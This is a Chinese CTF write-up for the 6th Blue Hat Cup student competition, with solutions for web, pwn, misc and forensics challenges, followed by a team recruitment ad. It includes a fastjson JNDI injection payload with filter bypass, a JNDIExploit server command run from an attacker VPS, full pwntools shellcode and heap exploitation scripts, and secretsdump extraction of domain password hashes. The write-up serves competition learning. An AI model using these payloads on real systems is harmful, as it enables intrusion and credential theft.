第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp

  • Web
    • Ez_gadget
  • Misc
    • domainhacker
    • domainhacker2
  • Pwn
    • EscapeShellcode
    • Bank
  • 网站取证
    • 网站取证_1
    • 网站取证_2
    • 网站取证_3
    • 网站取证_4
  • 程序分析
    • 程序分析_1
    • 程序分析_2
    • 程序分析_3
    • 程序分析_4
  • 手机取证
    • 手机取证_1
    • 手机取证_2
  • 计算机取证
    • 计算机取证_1
    • 计算机取证_2
    • 计算机取证_3
    • 计算机取证_4
  • Tip

Web

Ez_gadget

源码看到了fastjson 但是有个hash要绕过去

参考
https://goodapple.top/archives/964

然后我们去运算下得到kQNH2XQ6eudIQEFB

代码上面有正则String pattern = “.rmi.|.jndi.|.ldap.|.\x.”;
https://github.com/safe6Sec/Fastjson

我们将payload进行unicode编码然后

str=kQNH2XQ6eudIQEFB&input={"\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","qqq":"payload"}

java -jar JNDIExploit.jar -i vpsip
payload编码后发过去

用date命令读取flag就行了
flag{ed41ca96-de27-4da7-8513-f3343c67c9bc}

Misc

domainhacker

流量中发现一个rar包和多个base加密代码

解开压缩包即可

domainhacker2

解压发现一个流量包和一个ntds.rar文件,rar带密码。跟misc1思路一样,查找ntds文件,发现压缩过程。

解密


得到密码:FakePassword123$,解压得到一个ntds.list,查看相关资料发现需要用到secretsdump.py,网上下载,然后解密得到hash值,说是history的,加个参数就好,命令。

python .\secretsdump.py -system SYSTEM -ntds .\ntds.dit LOCAL -history


flag{07ab403ab740c1540c378b0f5aaa4087}

Pwn

EscapeShellcode

利用write后rcx保存的地址可以快速定位shellcode保存地址,并且获得大概的flag保存范围,因为shllcode保存地址和flag保存地址就差28位,利用and获得其高位保存在rsi 作为基地址,后28位需要爆破,r15存储偏移,每次打印0x1000个字符,打印后跳转到$-0x19也就是mov rax,1处,然后继续从基地址+0x1000开始打印0x1000个字符,如此循环即可。

from pwn import*
context(arch='amd64',os='linux')
sh=process('./escape_shellcode')
#sh=remote("39.106.156.74",23470)
#start=0
start=0x500000000000
#addr=0x5633c143f000
code='''mov rdi,1mov rsi,{}mov r12,0xfffff0000000mov r15,0x1000#r15储存偏移mov rdx,0x1000#打印长度设置为0x1000mov rax,1syscall#write(rdi,rsi,rdx)mov rsi,rcx#write执行后rcx 储存着shllcode的相关地址and rsi,r12#丢弃后28位add rsi,r15#rsi=rsi+偏移地址add r15,0x1000#偏移递增0x1000jmp $-0x19#循环 跳转到mov rax,1
'''.format(start)
payload=asm(code)
#gdb.attach(sh)
#pause()
sh.sendline(payload)
sh.recvuntil("flag{")
flag=b'flag{'+sh.recvuntil("}")
print(flag)

Bank


Deposit功能, 如果存的正好等于cahs, 那么cash不会减少, 就可以刷钱

Trasnfer功能

admin至少给0x1F, 可以越界读堆: malloc_0x18[num]

hacker至少给0x33, 可以任意地址free

guest: malloc(0x10) 并读入0x10数据

ghost: realloc(ptr, sz), 0<sz<=0x100

abyss: *malloc_0x18=Read_ul() 并且exit(0)

思路:

free原语: realloc()先变大再变小, 就可以释放原来挺ptr指向的chunk

由于不知道libc地址, 先假设就是2.27, free chunk后进入tcache, 读出key字段就可获取tcache的地址, 打远程发现确实如此. 从而获取堆地址heap_addr

有了后续通过任意地址free尝试释放malloc_0x18的chunk, 结果发现heap_addr+0x2a0才能正确释放到, 因此libc至少是2.31

后续要通过堆喷射伪造一个UB chunk, 然后利用任意地址free释放到UB中, 然后再越界读出来, 从而获取libc地址

abyss有个任意写+exit(0), 显然就是劫持劫持rtld_global中的函数指针, 触发OGG

但是rtld_gloabl位于ld中, ld与libc的偏移与系统内核有关系, 我在20.04下尝试了结果失败了, 不过反正有越界读, 可以尝试越界读爆破一下libc_addr到rtld_global+3848的偏移, 不行
既然后任意读和libc的地址, 能不能通过libc获取ld的地址? 反正_rtld_global与ld的偏移固定, 手法类似于balsn_ctf_2019_SecPwn:
libc与ld的偏移不稳定, 使用固定偏移可能会出错. 实际上libc中也有直接的rtld_global, 里面第一个映射记录的就是ld地址, 因此接触rtld_global可以由libc地址得到ld地址。

但是打远程还是失败了, 怀疑是OGG的问题, 首先尝试执行libc.so.6的start(), 判断OGG是否能被执行, 还是不行, 后续我用perror做测试, 发现stderr是可以正常输出的, GG也是可以执行的。

后面一直跑一段时间

#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
import base64
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):log.success(name+' = '+hex(eval(name)))
libc = ELF("./libc.so.6")
if(len(sys.argv)==1):      #localcmd = ["./pwn"]sh = process(cmd)
else:            #remtoesh = remote("47.94.194.27", 45092)
def Cmd(s):sh.sendlineafter("Click: ", s)
def Deposit(num):Cmd("Deposit")sh.sendlineafter("How Much? ", str(num))
def Put(num):Cmd("Put")sh.sendlineafter("How Much? ", str(num))
def Info():Cmd("Info")
def Login(card, pwd):Cmd("Login")sh.sendlineafter(": ", card)sh.sendlineafter(": ", pwd)
def Transfer(who, num):Cmd("Transfer")sh.sendlineafter("who? ", who)sh.sendlineafter("How much? ", str(num))
# malloc_0x18[num]
def ReadHeap(num):Transfer("admin", num)
def FreeAddr(addr):Transfer("hacker", 0x33)sh.recvuntil("hacker: Great!\n")sh.sendline(str(addr))
def Malloc_0x10(data):Transfer("guest", 6)sh.recvuntil("data: ")sh.send(data)
def Realloc(sz):Transfer("ghost", 0xB)sh.recvuntil('ghost: &^%$#@!   :)\n')sh.sendline(str(sz))
# malloc_0x18 = addr
def SetPtr(addr):Transfer("abyss", 0)sh.sendline(str(addr))
def GDB():gdb.attach(sh, '''telescope (0x0000555555554000+0x203010) 1telescope (0x0000555555554000+0x203050) 1telescope (0x0000555555554000+0x2030A8) 1break *(0x7ffff7e1ea25 )#conti''')
Login("1"*0x10, "2"*0x6)
# be rich
cash = 0x190
for i in range(0x28):Put(cash)Deposit(cash)Put(cash)cash*=2
for i in range(8):Malloc_0x10(str(i)*0x10)
Realloc(0x100)
Realloc(0x1)
ReadHeap(0x148/8)
sh.recvuntil("I think ")
heap_addr = int(sh.recvuntil(" is", drop=True), 16)-0x10
Log("heap_addr")
Malloc_0x10(flat(0, 0x421))
for i in range(32):Malloc_0x10(p64(i)*2)
Malloc_0x10(flat(0, 0x21))
Malloc_0x10(flat(0, 0x21))
Malloc_0x10(flat(0, 0x21))
FreeAddr(heap_addr+0x4d0+0x10)
ReadHeap(0x240/0x8) # be0
sh.recvuntil("I think ")
libc.address = int(sh.recvuntil(" is", drop=True), 16)-0x1ebbe0
Log("libc.address")
ReadHeap(((libc.symbols['_rtld_global']-(heap_addr+0x2a0))/8))
sh.recvuntil("I think ")
ld_addr = int(sh.recvuntil(" is", drop=True), 16)
Log("ld_addr")
rtld_global_hook = ld_addr+0xf08
Log("rtld_global_hook")
FreeAddr(heap_addr+0x2a0)
Malloc_0x10(p64(rtld_global_hook)*2)
SetPtr(libc.address+0xe6c7e)
sh.interactive()

网站取证

网站取证_1

通过D盾扫描找到后门

网站取证_2


找到加密文件,然后发现是aes算法直接解密得数据库密码

网站取证_3

比较数据给的数据库和查看代码得到

网站取证_4

将数据库导入到本地数据库,然后将2022-04-02 00:00:00-2022-04-18 23:59:59的张宝和王子豪的记录取出来,还有汇率取出来放着。

汇率
0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37

核心代码在这儿,
用汇率把钱数计算出来就行

import base64
import hashlib
sum = 0
p = [0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37]
with open('./data.txt','r') as f:d = f.readlines()for i in range(len(d)):key = hashlib.md5(b'jyzg123456').hexdigest()x = 0char = ''s = ''if d[i].strip().split()[6] == '5,' and d[i].strip().split()[7] == '3,':     data = base64.b64decode(d[i].strip().split()[-1])date = int(d[i].strip().split()[4][9:11]) - 2for i in range(len(data)):if x == len(key):x = 0char += key[x:x + 1]x += 1for i in range(len(data)):if ord(data[i:i + 1]) < ord(char[i:i + 1]):s += chr(ord(data[i:i + 1]) + 256 - ord(char[i:i + 1]))else:s += chr(ord(data[i:i + 1]) - ord(char[i:i + 1]))sum += float(s) * p[date]else:continueprint(sum)


脚本最后算出来的是总金额取小数后2位就行。

程序分析

程序分析_1

雷电App智能分析软件中的基本信息里,就有应用包名。

程序分析_2

雷电App智能分析软件中有个主活动以及主函数名,就是程序入口。

程序分析_3

雷电App智能分析中有个工具箱,用Jadx工具打开分析,在主入口中找到了一串base64的加密字符串,就是程序服务器地址的密文。

程序分析_4

入口处发现

这个模块
然后往下调发现

此处用了a这个类,然后试着提交答案就对了。

手机取证

手机取证_1

手机取证_2

计算机取证

计算机取证_1


解密为:anxinqi

计算机取证_2

计算机取证_3


提取恢复密钥
用取证大师解开

用给的字典去解密

打开即可

计算机取证_4


通过上题发现一个容器,
通过题目提示从内存导出密钥

解开容器发现一个压缩包

然后爆破压缩包密码即可

Tip

你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括自己的学习方向,学习经历等)

第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp相关推荐

  1. [ CTF ]【天格】战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)

    第六届"蓝帽杯"全国大学生网络安全技能大赛(半决赛)电子取证赛题 第六届"蓝帽杯"全国大学生网络安全技能大赛(半决赛)其他赛题 [Misc]加密的通道 1.经过 ...

  2. 【阿尼亚不会CTF】第六届”蓝帽杯“全国大学生网络安全技能大赛—线上初赛部分writeup

    啊!!!蓝帽杯第一次加入取证模块呢,取证静态分,CTF动态分,这波是出道即C位,完全挤掉CTF,属于被迫做取证题惹~ 菜鸟阿尼亚会做的题不多,以后也要继续加油哦!!! (点名计算机取证出题人--某某某 ...

  3. 第四届“蓝帽杯”全国大学生网络安全 技能大赛 Writeup

    第四届"蓝帽杯"全国大学生网络安全 技能大赛 Writeup Misc 签到 sudo 熟悉的解密 Web 文件包含绕过 easiestSQLi Soitgoes Misc 签到 ...

  4. 2022年第五届“传智杯”全国大学生IT技能大赛——程序设计挑战赛

    邀您参加第五届"传智杯"全国大学生IT技能大赛 https://m.saikr.com/active/templete/czb/1667799418?spread_code=A73 ...

  5. “东华春秋杯”上海大学生网络安全技能大赛决赛收官 聚焦高校人才培养

    11月21日, 由上海市教育委员会.上海计算机开放系统协会指导,东华大学主办,北京永信至诚科技有限公司协办,阅文集团.上海盛大网络发展有限公司.上海勋立信息科技有限公司.上海犇众信息技术有限公司支持的 ...

  6. 第十六届“挑战杯”全国大学生课外学术科技作品竞赛总结

    参赛作品:远程交互式康复外骨骼设备 作品用途:用于上肢运动障碍患者进行康复训练 作品架构:主要分为机械结构部分.嵌入式控制部分.肌电信号处理部分.人机交互系统部分. 1.机械结构部分:使用Solidw ...

  7. 2020第六届美亚杯全国电子数据取证大赛个人赛wp

    话不多说,案情

  8. 第三届“传智杯”全国大学生IT技能大赛(初赛)-Java B组题解

    A - 课程报名 A-课程报名洛谷题目链接 题目描述 传智播客推出了一款课程,并进行了一次促销活动.具体来说就是,课程的初始定价为v元:每报名m个学员,课程的定价就要提升a 元.由于课程能够容纳的学生 ...

  9. 第三届“传智杯”全国大学生IT技能大赛(初赛B组)题解合集

    文章目录 A - 课程报名 B - 期末考试成绩 C - 志愿者 D - 终端 E - 运气 总结 A - 课程报名 题目描述 传智播客推出了一款课程,并进行了一次促销活动.具体来说就是,课程的初始定 ...

  10. 第四届“传智杯”全国大学生IT技能大赛-Java B组题解

    A组原成绩 A-组原成绩 题目描述 花栗鼠科技大学(Hualishu University of Science and Technology, HUST)的计算机组成原理快要出分了.你现在需要计算你 ...

最新文章

  1. java pagemodel,Java PageModel
  2. 2.1.6 编码与调制(2)
  3. 操作系统设计与实现第3版笔记与minix3心得(2)-minix3内核调用
  4. Hyper-V 2016:支持guest操作系统
  5. python为什么这么火知乎_没想到 Google 排名第一的编程语言,为什么会这么火?...
  6. spring mvc拦截器HandlerInterceptor
  7. shell脚本传可选参数 getopts 和 getopt的方法
  8. PostgreSQL建表动作分析
  9. C++设计模式-单例模式理论与实例
  10. Pycharm 手把手安装(更新于2020-08-05)
  11. 编程语言_JavaScript_面试题003
  12. 机器学习 深度学习 ai_什么是AI? 从机器学习到决策自动化
  13. cydia软件路径_cydia软件包路径
  14. 计算机编程必备英语单词,编程序常用英语单词
  15. 使用Java模拟登录KINGOSOFT青果教务系统(湖北三峡职业技术学院)
  16. 哥德巴赫猜想C++实现
  17. python语言月份缩写_[宜配屋]听图阁
  18. 程序员老了之后练太极最合适了
  19. 微信小程序列表首字母排序并根据字母定位
  20. python使用微信设置-用Python玩微信跳一跳黑科技详细使用教程

热门文章

  1. Flickr 网站架构分析(转)
  2. codeforces 645 D Robot Rapping Results Report 【树形dp】
  3. 5G系统——5G QoS
  4. 转角遇到爱之经典对白与漫画文字
  5. windows10开启http代理服务
  6. [源码解析] PyTorch 分布式之弹性训练(4)---Rendezvous 架构和逻辑
  7. 10分钟搭建你的云端微信机器人️️️
  8. 青龙->微信机器人 搭建保姆级教程
  9. 2021秋季《数据结构》_EOJ 1086.哥尼斯堡的七桥问题
  10. 【EC200U】 基站定位